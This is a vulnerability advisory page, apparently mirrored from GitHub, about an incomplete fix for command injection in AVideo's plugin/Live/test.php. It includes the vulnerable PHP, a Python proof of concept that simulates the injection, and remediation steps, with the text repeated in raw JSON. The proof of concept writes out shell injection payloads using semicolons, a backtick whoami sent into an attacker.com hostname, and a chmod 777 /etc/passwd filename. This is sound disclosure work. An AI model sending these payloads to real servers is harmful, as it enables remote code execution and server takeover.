GHSA-PQ8P-WC4F-VG7J

Vulnerability from github – Published: 2026-04-14 23:27 – Updated: 2026-04-14 23:27
VLAI?
Summary
WWBN AVideo has an incomplete fix for CVE-2026-33502: Command Injection
Details

Summary

The incomplete fix for AVideo's test.php adds escapeshellarg for wget but leaves the file_get_contents and curl code paths unsanitized, and the URL validation regex /^http/ accepts strings like httpevil.com.

Affected Package

  • Ecosystem: Other
  • Package: AVideo
  • Affected versions: < commit 1e6cf03e93b5
  • Patched versions: >= commit 1e6cf03e93b5

Details

The vulnerable wget() function in plugin/Live/test.php:

function wget($url, $filename) {
    $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
    exec($cmd);
}

Neither $url nor $filename is passed through escapeshellarg(). The URL validation uses preg_match("/^http/", $url) which: - Does not require :// (matches httpevil.com) - Does not block shell metacharacters (;, backticks, $()) - Does not validate the URL is actually a URL

A payload like http://x; id > /tmp/pwned; echo passes the regex and injects arbitrary commands via the semicolons.

The fix adds escapeshellarg() for the wget path and an isAllowedStatsTestURL allowlist, but url_get_contents() (used by the same endpoint) still follows redirects without validation. The wget-specific fix does not protect the file_get_contents and curl code paths that handle the same user-supplied URL.

PoC

"""
CVE-2026-33502 - Command injection in AVideo plugin/Live/test.php

Tests REAL vulnerable code from:
  plugin/Live/test.php (commit pre-1e6cf03)

The vulnerable wget() function at the end of test.php:
  $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
  exec($cmd);

No escapeshellarg() is used on $url or $filename parameters.
The URL validation regex /^http/ is also weak (matches "httpevil.com").
"""

import re
import sys
import os
import subprocess

src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src')
src_content = open(os.path.join(src_dir, 'test.php')).read()

print("=" * 60)
print("CVE-2026-33502: AVideo Command Injection PoC (Real Source)")
print("=" * 60)
print()

has_weak_regex = bool(re.search(r'preg_match\("/\^http/"', src_content))
has_unsanitized_wget = 'wget --tries=1 {$url} -O {$filename}' in src_content
has_escapeshellarg = 'escapeshellarg' in src_content
has_exec = 'exec($cmd)' in src_content
has_auth_check = 'User::isAdmin()' in src_content

print("[*] Source: plugin/Live/test.php (pre-fix)")
print("[*] Weak URL regex /^http/: " + str(has_weak_regex))
print("[*] Unsanitized wget command: " + str(has_unsanitized_wget))
print("[*] escapeshellarg used: " + str(has_escapeshellarg))
print("[*] exec() used: " + str(has_exec))
print("[*] Authentication check: " + str(has_auth_check))
print()

def extract_wget_function():
    match = re.search(r'function wget\(.*?\n\}', src_content, re.DOTALL)
    if match:
        return match.group(0)
    return None

wget_func = extract_wget_function()
if wget_func:
    print("[*] Extracted real wget function:")
    for line in wget_func.split('\n'):
        print("    " + line)
    print()

def simulate_url_validation(url):
    if not url or url == "php://input":
        return False
    if not re.match(r"^http", url):
        return False
    return True

def simulate_vulnerable_wget_cmd(url, filename):
    cmd = f"wget --tries=1 {url} -O {filename} --no-check-certificate"
    return cmd

print("[*] Testing command injection payloads:")
print()

vuln_count = 0

payload = "http://x; id > /tmp/pwned; echo "
valid = simulate_url_validation(payload)
cmd = simulate_vulnerable_wget_cmd(payload, "/tmp/test123")
print(f"  Payload: {payload}")
print(f"  Passes regex: {valid}")
print(f"  Generated command: {cmd}")
if valid and '; id' in cmd:
    print("  Result: COMMAND INJECTION - 'id' will execute")
    vuln_count += 1
print()

payload2 = "http://x`whoami`.attacker.com/test"
valid2 = simulate_url_validation(payload2)
cmd2 = simulate_vulnerable_wget_cmd(payload2, "/tmp/test456")
print(f"  Payload: {payload2}")
print(f"  Passes regex: {valid2}")
print(f"  Generated command: {cmd2}")
if valid2 and '`whoami`' in cmd2:
    print("  Result: COMMAND INJECTION via backticks")
    vuln_count += 1
print()

payload3 = "httpevil.attacker.com"
valid3 = simulate_url_validation(payload3)
print(f"  Payload: {payload3}")
print(f"  Passes regex: {valid3}")
if valid3:
    print("  Result: WEAK REGEX - 'httpevil.com' matches /^http/")
    vuln_count += 1
print()

cmd4 = simulate_vulnerable_wget_cmd("http://legit.com", "/tmp/test; chmod 777 /etc/passwd")
print(f"  Filename injection command: {cmd4}")
if '; chmod' in cmd4:
    print("  Result: FILENAME INJECTION possible")
    vuln_count += 1
print()

if not has_auth_check:
    vuln_count += 1
    print("[*] No authentication required to reach test.php")
print()

if vuln_count > 0 and has_unsanitized_wget:
    print("VULNERABILITY CONFIRMED")
    sys.exit(0)
else:
    print("VULNERABILITY NOT CONFIRMED")
    sys.exit(1)

Steps to reproduce: 1. git clone https://github.com/WWBN/AVideo /tmp/AVideo_test 2. cd /tmp/AVideo_test && git checkout 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3~1 3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED
wget() uses unsanitized $url in shell command via exec(), and the URL regex /^http/ is too weak to prevent injection.

Impact

An unauthenticated attacker can achieve remote code execution on the AVideo server by sending a crafted URL to plugin/Live/test.php that injects shell commands via semicolons or backticks in the wget command line. This grants full server compromise -- the attacker can read database credentials, install backdoors, or pivot to internal systems.

Suggested Remediation

  1. Use escapeshellarg() on both $url and $filename in the wget() function.
  2. Strengthen the URL regex to require ^https?:// and reject shell metacharacters.
  3. Add authentication (User::isAdmin()) to the test.php endpoint.
  4. Apply escapeshellarg() consistently across all code paths (wget, curl, file_get_contents).
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:27:18Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe incomplete fix for AVideo\u0027s `test.php` adds `escapeshellarg` for wget but leaves the `file_get_contents` and `curl` code paths unsanitized, and the URL validation regex `/^http/` accepts strings like `httpevil.com`.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** AVideo\n- **Affected versions:** \u003c commit 1e6cf03e93b5\n- **Patched versions:** \u003e= commit 1e6cf03e93b5\n\n### Details\n\nThe vulnerable `wget()` function in `plugin/Live/test.php`:\n\n```php\nfunction wget($url, $filename) {\n    $cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n    exec($cmd);\n}\n```\n\nNeither `$url` nor `$filename` is passed through `escapeshellarg()`. The URL validation uses `preg_match(\"/^http/\", $url)` which:\n- Does not require `://` (matches `httpevil.com`)\n- Does not block shell metacharacters (`;`, backticks, `$()`)\n- Does not validate the URL is actually a URL\n\nA payload like `http://x; id \u003e /tmp/pwned; echo ` passes the regex and injects arbitrary commands via the semicolons.\n\nThe fix adds `escapeshellarg()` for the wget path and an `isAllowedStatsTestURL` allowlist, but `url_get_contents()` (used by the same endpoint) still follows redirects without validation. The wget-specific fix does not protect the `file_get_contents` and `curl` code paths that handle the same user-supplied URL.\n\n### PoC\n\n```python\n\"\"\"\nCVE-2026-33502 - Command injection in AVideo plugin/Live/test.php\n\nTests REAL vulnerable code from:\n  plugin/Live/test.php (commit pre-1e6cf03)\n\nThe vulnerable wget() function at the end of test.php:\n  $cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n  exec($cmd);\n\nNo escapeshellarg() is used on $url or $filename parameters.\nThe URL validation regex /^http/ is also weak (matches \"httpevil.com\").\n\"\"\"\n\nimport re\nimport sys\nimport os\nimport subprocess\n\nsrc_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), \u0027src\u0027)\nsrc_content = open(os.path.join(src_dir, \u0027test.php\u0027)).read()\n\nprint(\"=\" * 60)\nprint(\"CVE-2026-33502: AVideo Command Injection PoC (Real Source)\")\nprint(\"=\" * 60)\nprint()\n\nhas_weak_regex = bool(re.search(r\u0027preg_match\\(\"/\\^http/\"\u0027, src_content))\nhas_unsanitized_wget = \u0027wget --tries=1 {$url} -O {$filename}\u0027 in src_content\nhas_escapeshellarg = \u0027escapeshellarg\u0027 in src_content\nhas_exec = \u0027exec($cmd)\u0027 in src_content\nhas_auth_check = \u0027User::isAdmin()\u0027 in src_content\n\nprint(\"[*] Source: plugin/Live/test.php (pre-fix)\")\nprint(\"[*] Weak URL regex /^http/: \" + str(has_weak_regex))\nprint(\"[*] Unsanitized wget command: \" + str(has_unsanitized_wget))\nprint(\"[*] escapeshellarg used: \" + str(has_escapeshellarg))\nprint(\"[*] exec() used: \" + str(has_exec))\nprint(\"[*] Authentication check: \" + str(has_auth_check))\nprint()\n\ndef extract_wget_function():\n    match = re.search(r\u0027function wget\\(.*?\\n\\}\u0027, src_content, re.DOTALL)\n    if match:\n        return match.group(0)\n    return None\n\nwget_func = extract_wget_function()\nif wget_func:\n    print(\"[*] Extracted real wget function:\")\n    for line in wget_func.split(\u0027\\n\u0027):\n        print(\"    \" + line)\n    print()\n\ndef simulate_url_validation(url):\n    if not url or url == \"php://input\":\n        return False\n    if not re.match(r\"^http\", url):\n        return False\n    return True\n\ndef simulate_vulnerable_wget_cmd(url, filename):\n    cmd = f\"wget --tries=1 {url} -O {filename} --no-check-certificate\"\n    return cmd\n\nprint(\"[*] Testing command injection payloads:\")\nprint()\n\nvuln_count = 0\n\npayload = \"http://x; id \u003e /tmp/pwned; echo \"\nvalid = simulate_url_validation(payload)\ncmd = simulate_vulnerable_wget_cmd(payload, \"/tmp/test123\")\nprint(f\"  Payload: {payload}\")\nprint(f\"  Passes regex: {valid}\")\nprint(f\"  Generated command: {cmd}\")\nif valid and \u0027; id\u0027 in cmd:\n    print(\"  Result: COMMAND INJECTION - \u0027id\u0027 will execute\")\n    vuln_count += 1\nprint()\n\npayload2 = \"http://x`whoami`.attacker.com/test\"\nvalid2 = simulate_url_validation(payload2)\ncmd2 = simulate_vulnerable_wget_cmd(payload2, \"/tmp/test456\")\nprint(f\"  Payload: {payload2}\")\nprint(f\"  Passes regex: {valid2}\")\nprint(f\"  Generated command: {cmd2}\")\nif valid2 and \u0027`whoami`\u0027 in cmd2:\n    print(\"  Result: COMMAND INJECTION via backticks\")\n    vuln_count += 1\nprint()\n\npayload3 = \"httpevil.attacker.com\"\nvalid3 = simulate_url_validation(payload3)\nprint(f\"  Payload: {payload3}\")\nprint(f\"  Passes regex: {valid3}\")\nif valid3:\n    print(\"  Result: WEAK REGEX - \u0027httpevil.com\u0027 matches /^http/\")\n    vuln_count += 1\nprint()\n\ncmd4 = simulate_vulnerable_wget_cmd(\"http://legit.com\", \"/tmp/test; chmod 777 /etc/passwd\")\nprint(f\"  Filename injection command: {cmd4}\")\nif \u0027; chmod\u0027 in cmd4:\n    print(\"  Result: FILENAME INJECTION possible\")\n    vuln_count += 1\nprint()\n\nif not has_auth_check:\n    vuln_count += 1\n    print(\"[*] No authentication required to reach test.php\")\nprint()\n\nif vuln_count \u003e 0 and has_unsanitized_wget:\n    print(\"VULNERABILITY CONFIRMED\")\n    sys.exit(0)\nelse:\n    print(\"VULNERABILITY NOT CONFIRMED\")\n    sys.exit(1)\n\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`\n2. `cd /tmp/AVideo_test \u0026\u0026 git checkout 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nwget() uses unsanitized $url in shell command via exec(), and the URL regex /^http/ is too weak to prevent injection.\n```\n\n### Impact\n\nAn unauthenticated attacker can achieve remote code execution on the AVideo server by sending a crafted URL to `plugin/Live/test.php` that injects shell commands via semicolons or backticks in the wget command line. This grants full server compromise -- the attacker can read database credentials, install backdoors, or pivot to internal systems.\n\n### Suggested Remediation\n\n1. Use `escapeshellarg()` on both `$url` and `$filename` in the `wget()` function.\n2. Strengthen the URL regex to require `^https?://` and reject shell metacharacters.\n3. Add authentication (`User::isAdmin()`) to the `test.php` endpoint.\n4. Apply `escapeshellarg()` consistently across all code paths (wget, curl, file_get_contents).",
  "id": "GHSA-pq8p-wc4f-vg7j",
  "modified": "2026-04-14T23:27:18Z",
  "published": "2026-04-14T23:27:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pq8p-wc4f-vg7j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33502"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/1e6cf03e93b5a5318204b010ea28440b0d9a5ab3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "WWBN AVideo has an incomplete fix for CVE-2026-33502: Command Injection"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…